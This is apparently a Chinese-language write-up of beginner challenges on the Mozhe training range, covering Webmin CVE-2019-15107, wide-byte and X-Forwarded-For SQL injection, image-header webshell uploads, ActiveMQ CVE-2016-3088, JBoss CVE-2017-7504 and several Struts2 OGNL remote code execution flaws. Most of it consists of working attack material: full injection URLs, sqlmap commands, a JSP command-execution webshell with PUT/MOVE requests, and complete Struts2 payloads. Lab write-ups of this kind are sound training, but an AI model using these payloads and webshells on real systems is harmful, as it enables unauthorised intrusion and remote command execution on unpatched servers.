墨者靶场初级打靶记录

Webmin未经身份验证的远程代码执行

背景介绍

Webmin是用于类Unix的系统的基于Web的系统配置工具,可称远程管理利器。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。

解题方向

利用Webmin漏洞获取根目录的key。

影响版本

Webmin<=1.920

漏洞分析

该漏洞由于password_change.cgi文件在重置密码功能中存在一个代码执行漏洞,该漏洞允许恶意第三方在缺少输入验证的情况下而执行恶意代码

解题过程

搜索引擎搜索一下发现是 Webmin 远程命令执行漏洞(CVE-2019-15107)

抓一个登录包然后修改访问路径为/password_change.cgi

image-20220505235632293

同时再设置pam、expired等参数,old参数是查看key.txt,就被解析执行了

然后在返回包中查找mozhe,就能找到key了

image-20220505235457957

SQL注入漏洞测试(宽字节)

打开网页发现是一个登录界面

image-20220524170328510

测试了一下发现账号密码处没有注入,这个界面很敏感,有点印象,盲猜注入点就是在下面的公告处

image-20220524170715565

所以单独拿单引号是会被转义的

image-20220524171102185

这时候需要在单引号前面加%df来达到规避(为什么要加%df,是因为加上了%df之后,再搭配单引号,就会占用两个字节)

参考文章:https://netsecurity.51cto.com/article/435074.html

image-20220524171137073

接下来就是爆库、表、账号,最后结果为

1
http://124.70.71.251:41057/new_list.php?id=id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+

md5解密就OK

image-20220524173743393

X-Forwarded-For注入漏洞实战

解题方向

对登录表单的各参数进行测试,找到SQL注入点,对数据库内容进行读取,找到账号与密码。

解题过程

通过抓包发现没有X-Forwarded-For,疑似有注入

image-20220621100151053

添加x-forwarded-for项后,赋值127.0.0.1

发现IP被回显回来了,所以有注入

方法一 sqlmap注入

把POST请求存入txt中,再把X-forwarded-for的值改为 *,再使用sqlmap跑

image-20220621100630629

1
sqlmap -r requests.txt --dbs --batch   #爆破数据库

image-20220621100857140

接下来就是爆表,爆用户名密码等等

方法二 手工注入

1
X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,select user(),0x7e),1)#

GIF98A图片马欺骗绕过获取webshell

实训目标

1、掌握常见图片类型的文件头内容;
2、掌握表单数据通过POST提交数据时,对数据的修改方法;
3、了解WebShell是什么及其作用;
4、了解PHP程序的WebShell脚本的执行原理;

解题方向

绕过页面对可执行文件上传的限制,利用WebShell读取服务器上的源代码内容。

解题过程

打开题目是一个上传点

image-20220621102726412

试着上传jpg图片,上传成功且有返回路径

image-20220621102803926

接下来制作图片马,制作方式介绍两种

图片马方式一 cmd

1
copy 1.jpg/b+php.txt/a 3.jpg

/b是以二进制形式打开

/a是以ascii码方式打开

结果为3.jpg

图片马方式二 notepad

使用notepad打开图片,然后在图片末尾加入php一句话木马

image-20220621103806287

这种方式在此处执行不通,只作为方法介绍

上传图片马

在上传图片时,把包抓下来,然后把后缀名给修改为php

image-20220621120951591

再拼接一下图片马的地址

image-20220621121027430

image-20220621121052127

再用蚁剑连接就OK

image-20220621121143187

ActiveMQ任意文件写入CVE-2016-3088

什么是ActiveMQ?

ActiveMQ是Apache出品,最流行的,能力强劲的开源消息中间件

漏洞原理

ActiveMQ 中的 FileServer 服务容许用户经过 HTTP PUT 方法上传文件到指定目录,构造PUT请求上传 webshell 到 fileserver 目录,而后经过 Move 方法将其移动到有执行权限的 admin/ 目录。

CVE-2016-3088

漏洞影响

Apache ActiveMQ 5.x ~ 5.14.0

解题方向

任意文件写入可直接写入shell。

解题过程

打开网站后,随便点击一个

image-20220621121612015

然后弹出窗口让我输入账号密码登录,这里盲猜一波admin/admin

好家伙,居然进来了

image-20220621121711408

在网上搜了一下,存在未授权访问

1
/admin/connections.jsp

不过暂时没有意义

先把这个webshell写入1.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUT /fileserver/1.txt HTTP/1.1
Host: 172.20.10.3:8161
Content-Length: 330

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

返回结果是204说明成功了

image-20220621140537887

因为上传的文件不能被服务器所解析,所以需要将webshell文件放到可执行目录去

可以解析jsp文件的路径有:

1./opt/activemq/webapps/api

2./opt/activemq/webapps/admin

1
2
3
4
5
6
7
8
9
10
11
12
13
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: 124.70.71.251:40496
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=13wycpv89z9k31v3sft9hx43k5
Connection: close
Content-Length: 2

这里我选择api目录下

image-20220621140730936

然后访问

1
http://124.70.71.251:40496/api/1.jsp?cmd=ls

成功getshell

image-20220621141642756

参考这位师傅的文章:https://www.ol4three.com/2020/12/17/WEB/Exploit/ActiveMQ/ActiveMQ漏洞复现分析以及POC-CVE-2016-3088/

JBoss 4.x JBossMQ JMS反序列化漏洞CVE-2017-7504

jboss是一个基于J2EE的开放源代码的应用服务器。

解题过程

进入web-console

盲猜登录的弱口令admin/admin

image-20220621153730328

发现了版本4.0.5

在Github上找到了利用工具:https://github.com/joaomatosf/jexboss

用git拉下来,安装

1
2
3
4
git clone https://github.com/joaomatosf/jexboss.git				#拉到kali
cd jexboss
python jexboss.py #安装
python jexboss.py -u http://124.70.71.251:42947/ #检测

这儿输入yes就行

image-20220621154037573

成功getshell

image-20220621154105029

或者手动复现,参考文章:https://gv7.me/articles/2018/CVE-2017-7504/

Apache Struts2远程代码执行漏洞(S2-032)CVE-2016-3081

打开网站发现,哎,这种构图还挺好看的哈哈哈哈

image-20220621155602950

漏洞描述

启用动态方法调用后,Apache Struts 2.3.19至2.3.20.2、2.3.21至2.3.24.1和2.3.25至2.3.28都是影响的范围,允许远程攻击者通过方法:前缀执行与链式表达式相关的任意代码。

漏洞原理

远程用户可以向目标服务器提供包含“ method:”前缀的特制表达式,该服务器已启用动态方法调用以在目标系统上执行任意代码。

解题过程

手工

POC为

1
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

拼接一下URL

1
http://124.70.71.251:47974/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

自动

发现本系统也使用了JBOSS,且版本为4.0.5,所以使用上一篇文章CVE-2017-7504的检测工具,也能getshell

image-20220621161231150

image-20220621161342719

Apache Struts2远程代码执行漏洞(S2-037)CVE-2016-4438

漏洞描述

和S2-033一样也是关于rest插件导致method变量被篡改造成的远程代码执行漏洞

本漏洞可影响 Struts 2.1.0–2.5.1,通杀 Struts2 所有版本

解题过程

POC为:

1
/orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami

拼接一下URL:

1
http://124.70.71.251:48254/orders/4/%28%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=whoami

Apache Struts2远程代码执行漏洞(S2-016)CVE-2013-2251

影响版本

Struts2.0.0 - Struts2.3.15

解题过程

POC为:

1
redirect:%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream())%7D

抓包拼接一下

image-20220621223358870

参考文章:https://www.cnblogs.com/4thrun/p/15168404.html

Apache Struts2远程代码执行漏洞(S2-029)CVE-2016-3081

漏洞描述

启用动态方法调用后,Apache Struts 2.3.19至2.3.20.2、2.3.21至2.3.24.1和2.3.25至2.3.28都是影响的范围,允许远程攻击者通过方法:前缀执行与链式表达式相关的任意代码。漏洞确定是出现在OGNL解释执行的过程

影响版本

Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

POC为:

1
(#_memberAccess[‘allowPrivateAccess’]=true,#_memberAccess[‘allowProtectedAccess’]=true,#_memberAccess[‘excludedPackageNamePatterns’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘excludedClasses’]=#_memberAccess[‘acceptProperties’],#_memberAccess[‘allowPackageProtectedAccess’]=true,#_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()))

url编码后为:

1
%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%69%76%61%74%65%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%50%61%74%74%65%72%6e%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%61%63%6b%61%67%65%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%6c%73%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29

URL拼接:

1
http://124.70.71.251:47219/?message=%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%69%76%61%74%65%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%50%61%74%74%65%72%6e%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%65%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%27%5d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%63%63%65%70%74%50%72%6f%70%65%72%74%69%65%73%27%5d%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%50%61%63%6b%61%67%65%50%72%6f%74%65%63%74%65%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%5b%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%5d%3d%74%72%75%65%2c%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%6c%73%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29

我这里没有出现效果,真的就奇怪,当然这里也可以用CVE-2016-3081来进行命令执行

BeesCMS系统漏洞分析溯源

未完待续…